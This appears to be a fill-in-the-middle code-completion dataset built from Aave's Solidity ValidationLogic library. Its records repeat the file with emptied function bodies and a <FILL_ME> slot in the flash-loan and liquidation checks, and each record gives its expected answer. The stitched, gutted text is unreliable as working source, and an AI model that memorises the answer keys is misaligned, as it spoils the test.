Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
!configuration.getPaused(),Errors.RESERVE_PAUSED
435,439
!configuration.getPaused()
Errors.RESERVE_INACTIVE
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { DataTypes.ReserveConfigurationMap memory configuration = reserve.configuration; require(!configuration.getPaused(), Errors.RESERVE_PAUSED); require(<FILL_ME>) require(configuration.getFlashLoanEnabled(), Errors.FLASHLOAN_DISABLED); } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
configuration.getActive(),Errors.RESERVE_INACTIVE
435,439
configuration.getActive()
Errors.FLASHLOAN_DISABLED
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { DataTypes.ReserveConfigurationMap memory configuration = reserve.configuration; require(!configuration.getPaused(), Errors.RESERVE_PAUSED); require(configuration.getActive(), Errors.RESERVE_INACTIVE); require(<FILL_ME>) } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
configuration.getFlashLoanEnabled(),Errors.FLASHLOAN_DISABLED
435,439
configuration.getFlashLoanEnabled()
Errors.RESERVE_INACTIVE
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { ValidateLiquidationCallLocalVars memory vars; (vars.collateralReserveActive, , , , vars.collateralReservePaused) = collateralReserve .configuration .getFlags(); (vars.principalReserveActive, , , , vars.principalReservePaused) = params .debtReserveCache .reserveConfiguration .getFlags(); require(<FILL_ME>) require(!vars.collateralReservePaused 